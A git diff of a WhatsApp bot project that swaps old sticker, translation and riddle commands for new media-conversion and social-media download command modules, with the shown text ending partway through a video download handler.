msgRepondu.imageMessage; - const image = await zk.downloadAndSaveMediaMessage(mediamsg); - - //Create a FormData object - const data = new FormData(); - data.append('image', fs.createReadStream(image)); - - //Configure headers - const clientId = 'b40a1820d63cd4e'; // Replace with your Imgur client ID - const headers = { - 'Authorization': `Client-ID ${clientId}`, - ...data.getHeaders() - }; - - // Configure the query - const config = { - method: 'post', - maxBodyLength: Infinity, - url: 'https://api.imgur.com/3/image', - headers: headers, - data: data - }; - - try { - const response = await axios(config); - const imageUrl = response.data.data.link; - console.log(imageUrl) - - //Use imageUrl however you want (meme creation, etc.) - const meme = `https://api.memegen.link/images/custom/-/${text}.png?background=${imageUrl}`; - - // Create the sticker - const stickerMess = new Sticker(meme, { - pack: nomAuteurMessage, - author: 'FLASH-MD', - type: StickerTypes.FULL, - categories: ["🤩", "🎉"], - id: "12345", - quality: 70, - background: "transparent", - }); - - const stickerBuffer2 = await stickerMess.toBuffer(); - zk.sendMessage( - origineMessage, - { sticker: stickerBuffer2 }, - { quoted: ms } - ); - - } catch (error) { - console.error('Error uploading to Imgur :', error); - repondre('An error occurred while creating the meme.'); - } -}); - - - -france({nomCom:"photo",categorie: "Conversion", reaction: "👨🏿‍💻"},async(dest,zk,commandeOptions)=>{ - const {ms , msgRepondu,arg,repondre,nomAuteurMessage} = commandeOptions ; - - if(!msgRepondu) { repondre( 'make sure to mention the media' ) ; return } ; - - if (!msgRepondu.stickerMessage) { - repondre('Um mention a non-animated sticker'); return - } ; - - let mediaMess = await zk.downloadAndSaveMediaMessage(msgRepondu.stickerMessage); - - const alea = (ext) => { - return `${Math.floor(Math.random() * 10000)}${ext}`;}; - - let ran = await alea(".png"); - - - exec(`ffmpeg -i ${mediaMess} ${ran}`, (err) => { - fs.unlinkSync(mediaMess); - if (err) { - zk.sendMessage( - dest, - { - text: 'A non-animated sticker please', - }, - { quoted: ms } - ); - return; - } - let buffer = fs.readFileSync(ran); - zk.sendMessage( - dest, - { image: buffer }, - { quoted: ms } - ); - fs.unlinkSync(ran); - }); -}); - -france({ nomCom: "trt", categorie: "Conversion", reaction: "👨🏿‍💻" }, async (dest, zk, commandeOptions) => { - - const { msgRepondu, repondre , arg } = commandeOptions; - - - if(msgRepondu) { - try { - - - - if(!arg || !arg[0]) { repondre('(eg : trt en)') ; return } - - - let texttraduit = await traduire(msgRepondu.conversation , {to : arg[0]}) ; - - repondre(texttraduit) - - } catch (error) { - - repondre('Mention a texte Message') ; - - } - - } else { - - repondre('Mention a texte Message') - } - - - -}) ; - - -france({ nomCom: "url", categorie: "General", reaction: "👨🏿‍💻" }, async (origineMessage, zk, commandeOptions) => { - const { msgRepondu, repondre } = commandeOptions; - - if (!msgRepondu) { - repondre('mention a image or video'); - return; - } - - let mediaPath; - - if (msgRepondu.videoMessage) { - mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.videoMessage); - } else if (msgRepondu.imageMessage) { - mediaPath = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage); - } else { - repondre('mention a image or video'); - return; - } - - try { - const telegraphUrl = await uploadToTelegraph(mediaPath); - fs.unlinkSync(mediaPath); // Supprime le fichier après utilisation - - repondre(telegraphUrl); - } catch (error) { - console.error('Erreur lors de la création du lien Telegraph :', error); - repondre('Opps error'); - } -}); diff --git a/commands/Convertor.js b/commands/Convertor.js new file mode 100644 index 00000000..0c2dd056 --- /dev/null +++ b/commands/Convertor.js @@ -0,0 +1,527 @@ +const { franceking } = require('../main'); +const axios = require('axios'); +const { downloadMediaMessage } = require('@whiskeysockets/baileys'); +const fs = require('fs-extra'); +const ffmpegPath = require('ffmpeg-static'); +const ffmpeg = require('fluent-ffmpeg'); +ffmpeg.setFfmpegPath(ffmpegPath); +const baileys = require('@whiskeysockets/baileys'); +const { Sticker } = require('wa-sticker-formatter'); +const { Catbox } = require('node-catbox'); +const path = require('path'); +const fs1 = require('fs'); +const { exec } = require('child_process'); +const util = require('util'); +const execPromise = util.promisify(exec); +const { tmpdir } = require('os'); +ffmpeg.setFfmpegPath(ffmpegPath); + +const catbox = new Catbox(); +const { downloadContentFromMessage } = baileys; + +const getBuffer = async (mediaMsg, type) => { + const stream = await downloadContentFromMessage(mediaMsg, type); + const chunks = []; + for await (const chunk of stream) chunks.push(chunk); + return Buffer.concat(chunks); +}; + +const uploadToCatbox = async (path) => { + if (!fs.existsSync(path)) throw new Error("File does not exist"); + const response = await catbox.uploadFile({ path }); + if (!response) throw new Error("Failed to upload"); + return response; +}; + +const contextInfo = { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } +}; + + +module.exports = [ + { + name: 'trim', + description: 'Trim quoted audio or video.', + category: 'Converter', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const start = parseInt(args[0]); + const end = parseInt(args[1]); + + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const isVideo = quoted?.videoMessage; + const isAudio = quoted?.audioMessage; + + if (!(isVideo || isAudio)) { + return king.sendMessage(fromJid, { + text: '❌ *Reply to a video or audio with the command.*\n\nExample:\n`trim 1 4`' + }, { quoted: msg }); + } + + if (isNaN(start) || isNaN(end) || end <= start) { + return king.sendMessage(fromJid, { + text: '❌ *Invalid time range.*\n\nUse: `trim `\nExample: `trim 1 4`' + }, { quoted: msg }); + } + + const buffer = await downloadMediaMessage( + { message: quoted }, + 'buffer', + {}, + { logger: console } + ); + + const ext = isVideo ? 'mp4' : 'mp3'; + const input = path.join(tmpdir(), `input_${Date.now()}.${ext}`); + const output = path.join(tmpdir(), `output_${Date.now()}.${ext}`); + fs.writeFileSync(input, buffer); + + ffmpeg(input) + .setStartTime(start) + .setDuration(end - start) + .output(output) + .on('end', async () => { + const trimmed = fs.readFileSync(output); + await king.sendMessage(fromJid, { + [isVideo ? 'video' : 'audio']: trimmed, + mimetype: isVideo ? 'video/mp4' : 'audio/mp4', + ptt: !isVideo + }, { quoted: msg }); + fs.unlinkSync(input); + fs.unlinkSync(output); + }) + .on('error', async () => { + await king.sendMessage(fromJid, { + text: '❌ *Failed to trim the media.*' + }, { quoted: msg }); + if (fs.existsSync(input)) fs.unlinkSync(input); + if (fs.existsSync(output)) fs.unlinkSync(output); + }) + .run(); + } +}, + { + name: 'toimg', + aliases: ['photo'], + description: 'Convert static sticker to image.', + category: 'Converter', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + + if (!quoted?.stickerMessage) { + return king.sendMessage(fromJid, { + text: '❌ *Reply to a static sticker to convert it to image.*' + }, { quoted: msg }); + } + + if ( + quoted.stickerMessage.isAnimated || + quoted.stickerMessage.isLottie || + quoted.stickerMessage.mimetype !== 'image/webp' + ) { + return king.sendMessage(fromJid, { + text: '❌ *Only static stickers are supported.*' + }, { quoted: msg }); + } + + fs.ensureDirSync('./temp'); + const tmpPath = './temp/sticker.webp'; + const outPath = './temp/image.jpg'; + + const buffer = await downloadMediaMessage( + { message: quoted }, + 'buffer', + {}, + { logger: console } + ); + + fs.writeFileSync(tmpPath, buffer); + + try { +const ffmpegPath = require('ffmpeg-static'); +await execPromise(`"${ffmpegPath}" -y -i "${tmpPath}" "${outPath}"`); + await king.sendMessage(fromJid, { + image: fs.readFileSync(outPath), + caption: '✅ *Sticker converted to image.*' + }, { quoted: msg }); + } catch (err) { + await king.sendMessage(fromJid, { + text: `❌ *Failed to convert sticker.*\n\n${err.message}` + }, { quoted: msg }); + } finally { + if (fs.existsSync(tmpPath)) fs.unlinkSync(tmpPath); + if (fs.existsSync(outPath)) fs.unlinkSync(outPath); + } + } + }, + +{ + name: 'sticker', + get flashOnly() { + return franceking(); +}, + aliases: ['s'], + description: 'Convert image or video to sticker', + category: 'Converter', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const imageMsg = msg.message?.imageMessage || quoted?.imageMessage; + const videoMsg = msg.message?.videoMessage || quoted?.videoMessage; + + try { + if (imageMsg) { + const buffer = await getBuffer(imageMsg, 'image'); + const sticker = new Sticker(buffer, { + pack: 'FLASH-MD', + author: msg.pushName || 'User', + type: args.includes('crop') ? 'cropped' : 'full', + quality: 70 + }); + return await sock.sendMessage(chatId, { sticker: await sticker.toBuffer(), contextInfo }, { quoted: msg }); + + } else if (videoMsg) { + const inputPath = `./video_${Date.now()}.mp4`; + const outputPath = `./sticker_${Date.now()}.webp`; + const buffer = await getBuffer(videoMsg, 'video'); + await fs.writeFile(inputPath, buffer); + + try { + await new Promise((resolve, reject) => { + ffmpeg(inputPath) + .setFfmpegPath(ffmpegPath) + .outputOptions([ + "-vcodec", "libwebp", + "-vf", "fps=15,scale=512:512:force_original_aspect_ratio=decrease", + "-loop", "0", + "-preset", "default", + "-an", + "-vsync", "0" + ]) + .output(outputPath) + .on("end", resolve) + .on("error", reject) + .run(); + }); + + const sticker = new Sticker(await fs.readFile(outputPath), { + pack: 'FLASH-MD', + author: msg.pushName || 'User', + type: 'full', + quality: 70 + }); + + await sock.sendMessage(chatId, { sticker: await sticker.toBuffer(), contextInfo }, { quoted: msg }); + + } catch (err) { + return await sock.sendMessage(chatId, { text: `FFmpeg error: ${err.message}`, contextInfo }, { quoted: msg }); + } finally { + if (await fs.pathExists(inputPath)) await fs.unlink(inputPath); + if (await fs.pathExists(outputPath)) await fs.unlink(outputPath); + } + + } else { + return await sock.sendMessage(chatId, { text: 'Reply to an image or video to make a sticker.', contextInfo }, { quoted: msg }); + } + } catch (err) { + return await sock.sendMessage(chatId, { text: `Sticker error: ${err.message}`, contextInfo }, { quoted: msg }); + } + } +}, +/*{ + name: 'enhance', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Enhance an image from a given URL using AI enhancement.', + category: 'converter', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: '❗ Please provide the URL of the image you want to enhance.' + }, { quoted: msg }); + } + + const imageUrl = args.join(' '); + const enhanceUrl = `https://bk9.fun/tools/enhance?url=${encodeURIComponent(imageUrl)}`; + + try { + await sock.sendMessage(chatId, { + image: { url: enhanceUrl }, + caption: '*Enhanced by FLASH-MD*' + }, { + quoted: msg, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }); + } catch (error) { + console.error("Enhance error:", error.message || error); + await sock.sendMessage(chatId, { + text: '⚠️ Failed to enhance the image. Please check the URL and try again.' + }, { quoted: msg }); + } + } +}, + */ + { + name: 'quotly', + get flashOnly() { + return franceking(); +}, + aliases: ['q'], + description: 'Make a quote sticker from text and username', + category: 'Converter', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const senderName = msg.pushName || 'User'; + + if (args.length < 3 || !args.includes('by')) { + return await sock.sendMessage(chatId, { text: 'Use format: .quotly by ', contextInfo }, { quoted: msg }); + } + + const byIndex = args.indexOf('by'); + const text = args.slice(0, byIndex).join(' '); + const username = args.slice(byIndex + 1).join(' '); + + const apiUrl = `https://weeb-api.vercel.app/quotly?pfp=https://files.catbox.moe/c2jdkw.jpg&username=${encodeURIComponent(username)}&text=${encodeURIComponent(text)}`; + const stickerPath = `./quotly_${Date.now()}.webp`; + + try { + const res = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const buffer = Buffer.from(res.data, 'binary'); + + const sticker = new Sticker(buffer, { + pack: 'FLASH-MD', + author: senderName, + type: 'full', + quality: 70 + }); + + await sticker.toFile(stickerPath); + + await sock.sendMessage(chatId, { sticker: await fs.readFile(stickerPath), contextInfo }, { quoted: msg }); + } catch (err) { + return await sock.sendMessage(chatId, { text: `Error making quotly: ${err.message}`, contextInfo }, { quoted: msg }); + } finally { + if (await fs.pathExists(stickerPath)) await fs.unlink(stickerPath); + } + } +}, + { + name: 'crop', + get flashOnly() { + return franceking(); +}, + description: 'Create cropped sticker from media', + category: 'Converter', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const mediaMsg = quoted?.imageMessage || quoted?.videoMessage || quoted?.stickerMessage; + + if (!mediaMsg) { + return await sock.sendMessage(chatId, { text: 'Reply to an image, video or sticker.', contextInfo }, { quoted: msg }); + } + + const type = quoted?.imageMessage ? 'image' : + quoted?.videoMessage ? 'video' : + quoted?.stickerMessage ? 'sticker' : null; + + if (!type) return await sock.sendMessage(chatId, { text: 'Unsupported media type.', contextInfo }, { quoted: msg }); + + const buffer = await getBuffer(mediaMsg, type); + const filePath = `./temp_crop_${Date.now()}`; + await fs.writeFile(filePath, buffer); + + try { + const pack = args.length ? args.join(' ') : msg.pushName || 'Flash-MD'; + + const sticker = new Sticker(buffer, { + pack, + author: pack, + type: 'cropped', + categories: ["🤩", "🎉"], + id: "12345", + quality: 70, + background: "transparent" + }); + + const stickerBuffer = await sticker.toBuffer(); + await sock.sendMessage(chatId, { sticker: stickerBuffer, contextInfo }, { quoted: msg }); + + } finally { + if (await fs.pathExists(filePath)) await fs.unlink(filePath); + } + } +}, + +{ + name: 'tomp3', + get flashOnly() { + return franceking(); +}, + aliases: ['toaudio', 'audio'], + description: 'Convert video to audio (mp3)', + category: 'Converter', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const videoMsg = msg.message?.videoMessage || quoted?.videoMessage; + + if (!videoMsg) { + return await sock.sendMessage(chatId, { text: 'Reply to a video message to convert to MP3.', contextInfo }, { quoted: msg }); + } + + const inputPath = `./video_${Date.now()}.mp4`; + const outputPath = `./audio_${Date.now()}.mp3`; + + try { + const buffer = await getBuffer(videoMsg, 'video'); + await fs.writeFile(inputPath, buffer); + + await new Promise((resolve, reject) => { + ffmpeg(inputPath) + .setFfmpegPath(ffmpegPath) + .output(outputPath) + .on('end', resolve) + .on('error', reject) + .run(); + }); + + const audio = await fs.readFile(outputPath); + await sock.sendMessage(chatId, { audio, mimetype: 'audio/mpeg', contextInfo }, { quoted: msg }); + + } catch (err) { + console.error('Error during conversion:', err); + return await sock.sendMessage(chatId, { text: `Error while converting video to MP3: ${err.message}`, contextInfo }, { quoted: msg }); + } finally { + if (await fs.pathExists(inputPath)) await fs.unlink(inputPath); + if (await fs.pathExists(outputPath)) await fs.unlink(outputPath); + } + } +}, + +{ + name: 'take', + get flashOnly() { + return franceking(); +}, + description: 'Take sticker with custom pack name', + category: 'Converter', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const mediaMsg = quoted?.imageMessage || quoted?.videoMessage || quoted?.stickerMessage; + + if (!mediaMsg) { + return await sock.sendMessage(chatId, { text: 'Reply to an image, video or sticker.', contextInfo }, { quoted: msg }); + } + + const type = quoted?.imageMessage ? 'image' : + quoted?.videoMessage ? 'video' : + quoted?.stickerMessage ? 'sticker' : null; + + if (!type) return await sock.sendMessage(chatId, { text: 'Unsupported media type.', contextInfo }, { quoted: msg }); + + const buffer = await getBuffer(mediaMsg, type); + const filePath = `./temp_${Date.now()}`; + await fs.writeFile(filePath, buffer); + + try { + const pack = args.length ? args.join(' ') : msg.pushName || 'Flash-MD'; + + const sticker = new Sticker(buffer, { + pack, + type: 'full', + categories: ["🤩", "🎉"], + id: "12345", + quality: 70, + background: "transparent" + }); + + const stickerBuffer = await sticker.toBuffer(); + await sock.sendMessage(chatId, { sticker: stickerBuffer, contextInfo }, { quoted: msg }); + + } finally { + if (await fs.pathExists(filePath)) await fs.unlink(filePath); + } + } +}, + +{ + name: 'url', + get flashOnly() { + return franceking(); +}, + description: 'Upload media to Catbox and return URL', + category: 'Converter', + execute: async (sock, msg) => { + const chatId = msg.key.remoteJid; + const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; + const mediaMsg = quoted?.imageMessage || quoted?.videoMessage || quoted?.stickerMessage; + + if (!mediaMsg) { + return await sock.sendMessage(chatId, { text: 'Reply to an image, video, or sticker to upload.', contextInfo }, { quoted: msg }); + } + + let type = null; + let ext = null; + + if (quoted?.imageMessage) { + type = 'image'; + ext = 'jpg'; + } else if (quoted?.videoMessage) { + type = 'video'; + ext = 'mp4'; + } else if (quoted?.stickerMessage) { + type = 'sticker'; + ext = 'webp'; + } + + if (!type || !ext) { + return await sock.sendMessage(chatId, { text: 'Unsupported media type.', contextInfo }, { quoted: msg }); + } + + const filePath = `./media_${Date.now()}.${ext}`; + + try { + const buffer = await getBuffer(mediaMsg, type); + await fs.writeFile(filePath, buffer); + + const url = await uploadToCatbox(filePath); + await sock.sendMessage(chatId, { text: `Here is your URL:\n${url}`, contextInfo }, { quoted: msg }); + + } catch (err) { + return await sock.sendMessage(chatId, { text: `Upload failed: ${err.message}`, contextInfo }, { quoted: msg }); + } finally { +if (await fs.pathExists(filePath)) await fs.unlink(filePath); + } + } +} + +]; diff --git a/commands/Devinette.js b/commands/Devinette.js deleted file mode 100644 index 17c1ba0b..00000000 --- a/commands/Devinette.js +++ /dev/null @@ -1,150 +0,0 @@ - - -/** - -🇫‌🇱‌🇦‌🇸‌🇭‌-🇲‌🇩‌ - - 𝗖𝗼𝗽𝘆𝗿𝗶𝗴𝗵𝘁 (𝗖) 2024. - 𝗟𝗶𝗰𝗲𝗻𝘀𝗲𝗱 𝘂𝗻𝗱𝗲𝗿 𝘁𝗵𝗲 𝗠𝗜𝗧 𝗟𝗶𝗰𝗲𝗻𝘀𝗲; - 𝗬𝗼𝘂 𝗺𝗮𝘆 𝗻𝗼𝘁 𝘂𝘀𝗲 𝘁𝗵𝗶𝘀 𝗳𝗶𝗹𝗲 𝗲𝘅𝗰𝗲𝗽𝘁 𝗶𝗻 𝗰𝗼𝗺𝗽𝗹𝗶𝗮𝗻𝗰𝗲 𝘄𝗶𝘁𝗵 𝘁𝗵𝗲 𝗟𝗶𝗰𝗲𝗻𝘀𝗲. - 𝗜𝘁 𝗶𝘀 𝘀𝘂𝗽𝗽𝗹𝗶𝗲𝗱 𝗶𝗻 𝘁𝗵𝗲 𝗵𝗼𝗽𝗲 𝘁𝗵𝗮𝘁 𝗶𝘁 𝗺𝗮𝘆 𝗯𝗲 𝘂𝘀𝗲𝗳𝘂𝗹. - * @𝗽𝗿𝗼𝗷𝗲𝗰𝘁_𝗻𝗮𝗺𝗲 : 𝗙𝗹𝗮𝘀𝗵 𝗠𝗗, 𝗮 𝘀𝗶𝗺𝗽𝗹𝗲 𝗮𝗻𝗱 𝗲𝗮𝘀𝘆 𝗪𝗵𝗮𝘁𝘀𝗔𝗽𝗽 𝘂𝘀𝗲𝗿 𝗯𝗼𝘁 - * @𝗼𝘄𝗻𝗲𝗿: 𝗙𝗿𝗮𝗻𝗰𝗲 𝗞𝗶𝗻𝗴 - - **/ - - - - - - - -const { france } = require('../framework/france'); - -// Set a riddle list with questions and answers -const devinettes = [ - { - question: "I can fly without wings, who am I?", - reponse: "The weather", - }, - { - question: "I'm always hungry, the more I eat, the fatter I become. Who am I ?", - reponse: "A black hole", - }, - { - question: "I'm strong when I'm down, but I'm weak when I'm up. Who am I ?", - reponse: "The number 6", - }, - { - question: "I can be short or long, hard or soft, I can be used by anyone, from young children to experienced musicians. Who am I ?", - reponse: "A pencil", - }, - { - question: "I am the beginning of the end, the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?", - reponse: "The letter 'e'", - }, - { - question: "I am white when I am dirty and black when I am clean. Who am I ?", - reponse: "A slate", - }, - { - question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?", - reponse: "Tea", - }, - { - question: "I fly without wings, I cry without eyes. Wherever I am, death always accompanies me. Who am I ?", - reponse: "The wind", - }, - { - question: "I have towns, but no houses. I have mountains, but no trees. I have water, but no fish. Who am I ?", - reponse: "A map", - }, - { - question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?", - reponse: "A borrowed book", - }, - { - question: "I come twice in a week, once in a year, but never in a day. Who am I ?", - reponse: "The letter 'E'", - }, - { - question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?", - reponse: "Your breath", - }, - { - question: "The hotter I am, the colder I become. Who am I ?", - reponse: "coffe", - }, - { - question: "I am the stuff of dreams. I cover broken ideas. I change souls into wings. Who am I ?", - reponse: "A book", - }, - { - question: "I am white when I am dirty and black when I am clean. Who am I?", - reponse: "A slate", - }, - { - question: "I can fly without having wings. I can cry without having eyes. Who am I ?", - reponse: "A cloud", - }, - { - question: "I start at night and finish in the morning. Who am I ?", - reponse: "The letter 'N'", - }, - { - question: "I can be read, but you can't write about me. You always give to me, but rarely keep me. Who am I ?", - reponse: "A borrowed book", - }, - { - question: "I feed on everything around me, the air, the earth and even the trees. Who am I ?", - reponse: "a fire", - }, - { - question: "I am white when I am dirty and black when I am clean. Who am I ?", - reponse: "A slate", - }, - { - question: "I'm liquid, but if you take water away from me, I become solid. Who am I ?", - reponse: "tea", - }, - { - question: "I am the beginning of the end and the end of every place. I am the beginning of eternity, the end of time and space. Who am I ?", - reponse: "the letter'E'", - }, - { - question: "I'm hard to grasp, but you will hold me in your hand when you find me. Who am I ?", - reponse: "Your breath", - }, - ]; - -france({ nomCom: "riddle", categorie: "Games" }, async (dest, zk, commandeOptions) => { - const { ms, repondre } = commandeOptions; - - // Choose a random riddle - const devinette = devinettes[Math.floor(Math.random() * devinettes.length)]; -// Send the riddle question - await zk.sendMessage( - dest, - { - text: `Riddle: ${devinette.question} . \n you have 30 seconds to think about.`, - }, - { quoted: ms } - ); - - //Wait 60 seconds before sending the response - await delay(30000); - - // Answer - await zk.sendMessage( - dest, - { - text: `The answer was : ${devinette.reponse}`, - }, - { quoted: ms } - ); -}); - -// Function to create a pause/delay in milliseconds -function delay(ms) { - return new Promise((resolve) => setTimeout(resolve, ms)); -} diff --git a/commands/Download.js b/commands/Download.js new file mode 100644 index 00000000..82749614 --- /dev/null +++ b/commands/Download.js @@ -0,0 +1,1227 @@ +const { franceking } = require('../main'); +const { fetchAllPosts } = require('../france/Ig'); +const axios = require('axios'); +const getFBInfo = require('@xaviabot/fb-downloader'); +const { search, download } = require('aptoide_scrapper_fixed'); +const { fetchStories } = require('../france/Ig'); + const getInstaMedia = require('../france/Insta'); +const getTikTokMedia = require('../france/Tok'); + +function formatDate(dateStr) { + const date = new Date(dateStr); + const day = ("0" + date.getDate()).slice(-2); + const month = ("0" + (date.getMonth() + 1)).slice(-2); + const year = date.getFullYear(); + const hours = ("0" + (date.getHours() % 12 || 12)).slice(-2); + const minutes = ("0" + date.getMinutes()).slice(-2); + const ampm = date.getHours() >= 12 ? 'pm' : 'am'; + return `${day}/${month}/${year} at ${hours}:${minutes} ${ampm}`; +} + +module.exports = [ + { + name: 'spotify', + aliases: ['spot', 'sp'], + description: 'Download a Spotify song by search query', + usage: '!spotify ', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + const query = args.join(' '); + + if (!query) { + return sock.sendMessage(chatId, { text: '❌ Please provide a song name.\n\nExample: *!spotify not afraid*' }); + } + + const apiUrl = `https://okatsu-rolezapiiz.vercel.app/search/spotify?q=${encodeURIComponent(query)}`; + + try { + const response = await axios.get(apiUrl); + const data = response.data; + + if (!data.status || !data.result || !data.result.audio) { + return sock.sendMessage(chatId, { text: '❌ Song not found or audio unavailable.' }); + } + + const { + title, + artist, + name, + duration, + popularity, + thumbnail, + url, + audio + } = data.result; + + const infoText = `🎵 *${title}* +👤 *Artist:* ${artist} +⏱️ *Duration:* ${duration} +📈 *Popularity:* ${popularity} +🔗 *Link:* ${url} + +_Sending the audio..._`; + + await sock.sendMessage(chatId, { + image: { url: thumbnail }, + caption: infoText, + contextInfo: { + externalAdReply: { + title: title, + body: "Spotify Downloader", + mediaType: 1, + thumbnailUrl: thumbnail, + renderLargerThumbnail: true, + mediaUrl: url, + sourceUrl: url + } + } + }); + + await sock.sendMessage(chatId, { + audio: { url: audio }, + mimetype: 'audio/mp4', + fileName: `${title}.mp3`, + ptt: false + }); + + } catch (error) { + console.error('Spotify command error:', error.message); + await sock.sendMessage(chatId, { text: '❌ Failed to fetch or send the Spotify song.' }); + } + } +}, + { + name: 'tiktok', + aliases: ['tk', 'tiktokdl'], + description: 'Download TikTok media by link.', + category: 'Download', + + execute: async (king, msg, args, fromJid) => { + const query = args.join(' ').trim(); + + if (!query || !query.startsWith('http')) { + return king.sendMessage(fromJid, { + text: '📌 *Please provide a valid TikTok video link.*' + }, { quoted: msg }); + } + + const response = await getTikTokMedia(query); + + if (!response.status) { + return king.sendMessage(fromJid, { + text: `❌ *Failed to fetch TikTok media.*\nReason: ${response.message}` + }, { quoted: msg }); + } + + const caption = `🎵 *${response.title || 'FLASH-MD V2'}*`; + + if (response.video) { + await king.sendMessage(fromJid, { + video: { url: response.video }, + caption + }, { quoted: msg }); + } else { + await king.sendMessage(fromJid, { + text: '⚠️ Video link not found.' + }, { quoted: msg }); + } + + // if (response.audio) { + // await king.sendMessage(fromJid, { + // document: { url: response.audio }, + // mimetype: 'audio/mpeg', + // fileName: 'tiktok-audio.mp3' + // }, { quoted: msg }); + // } + } +}, + { + name: 'insta', + aliases: ['igdl', 'ig', 'instagram'], + description: 'Download media from an Instagram link.', + category: 'Download', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const url = args[0]; + + if (!url || !url.startsWith('http') || !url.includes('instagram.com')) { + return king.sendMessage(fromJid, { + text: '🔗 *Please provide a valid Instagram URL.*\n\nExample: `!insta https://www.instagram.com/reel/xyz123/`' + }, { quoted: msg }); + } + + try { + const { igmp4, error } = await getInstaMedia(url); + + if (error || !igmp4) { + return king.sendMessage(fromJid, { + text: `❌ *Failed to download media:*\n${error || 'Invalid or unsupported link.'}` + }, { quoted: msg }); + } + + const isVideo = igmp4.includes('.mp4') || igmp4.includes('video'); + + if (isVideo) { + await king.sendMessage(fromJid, { + video: { url: igmp4 }, + caption: '_*✨ Downloaded by Flash-Md-V2*_' + }, { quoted: msg }); + } else { + await king.sendMessage(fromJid, { + image: { url: igmp4 }, + caption: '_*✨ Downloaded by Flash-Md-V2*_' + }, { quoted: msg }); + } + + } catch (err) { + await king.sendMessage(fromJid, { + text: '❌ *Unexpected error occurred. Please try again later.*' + }, { quoted: msg }); + } + } +}, + { + name: 'posts', + aliases: ['igposts', 'instafeed'], + description: 'Download recent Instagram posts of a given username.', + category: 'Download', + + get flashOnly() { + return franceking(); + }, + + execute: async (king, msg, args, fromJid) => { + const username = args[0]; + + if (!username) { + return king.sendMessage(fromJid, { + text: '📸 *Please provide an Instagram username.*\n\nExample: `!posts france.king1`' + }, { quoted: msg }); + } + + try { + const { total, items } = await fetchAllPosts(username); + + if (total === 0 || !items.length) { + return king.sendMessage(fromJid, { + text: `❌ *No posts found for @${username}.*\nMaybe the account is private or invalid.` + }, { quoted: msg }); + } + + + const maxPosts = items.slice(0, 5); + + for (const item of maxPosts) { + if (item.type === 'image') { + await king.sendMessage(fromJid, { + image: { url: item.url }, + caption: `📸 _✨ Downloaded by Flash-Md-V2_` + }, { quoted: msg }); + } else if (item.type === 'video') { + await king.sendMessage(fromJid, { + video: { url: item.url }, + caption: `🎥 _✨ Downloaded by Flash-Md-V2_` + }, { quoted: msg }); + } + } + + } catch (err) { + console.error('[IG POSTS ERROR]', err); + await king.sendMessage(fromJid, { + text: '❌ *Something went wrong fetching posts.* Please try again later.' + }, { quoted: msg }); + } + } +}, + { + name: 'npm', + get flashOnly() { + return franceking(); +}, + aliases: [], + description: 'Search for an NPM package and view its details.', + category: 'General', + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: '❗ Please provide an NPM package name to search for.' + }, { quoted: msg }); + } + + const query = args.join(' '); + const apiUrl = `https://weeb-api.vercel.app/npm?query=${encodeURIComponent(query)}`; + + try { + const res = await axios.get(apiUrl); + const data = res.data; + + if (!data.results?.length) { + return await sock.sendMessage(chatId, { + text: `❌ No results found for "${query}".` + }, { quoted: msg }); + } + + const pkg = data.results[0]; + const formattedDate = formatDate(pkg.date); + + const result = `*📦 NPM PACKAGE RESULT* + +*📁 Name:* ${pkg.name} +*📌 Version:* ${pkg.version} +*📝 Description:* ${pkg.description} +*👤 Publisher:* ${pkg.publisher.username} +*⚖️ License:* ${pkg.license} +*📅 Last Updated:* ${formattedDate} + +🔗 *NPM:* ${pkg.links.npm} +🔗 *Repository:* ${pkg.links.repository || 'N/A'} +🔗 *Homepage:* ${pkg.links.homepage || 'N/A'} + +_Use this info to explore or install the package via terminal_`; + + await sock.sendMessage(chatId, { + text: result, + contextInfo: { + forwardingScore: 1, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363238139244263@newsletter', + newsletterName: 'FLASH-MD', + serverMessageId: -1 + } + } + }); + } catch (error) { + await sock.sendMessage(chatId, { + text: '❌ An error occurred while fetching the package info.' + }, { quoted: msg }); + } + } + }, +{ + name: "video-dl", + get flashOnly() { + return franceking(); +}, + aliases: ["vddownload"], + description: "Download high-quality videos from social media URLs", + category: "Download", + execute: async (sock, msg, args) => { + const chatId = msg.key.remoteJid; + + if (!args || args.length === 0) { + return await sock.sendMessage(chatId, { + text: "Please provide a valid video URL." + }, { quoted: msg }); + } + + try { + const url = args.join(' '); + const res = await fetch(`https://bk9.fun/download/alldownload?url=${encodeURIComponent(url)}`); + const data = await res.json(); + + if (data.status && data.BK9 && 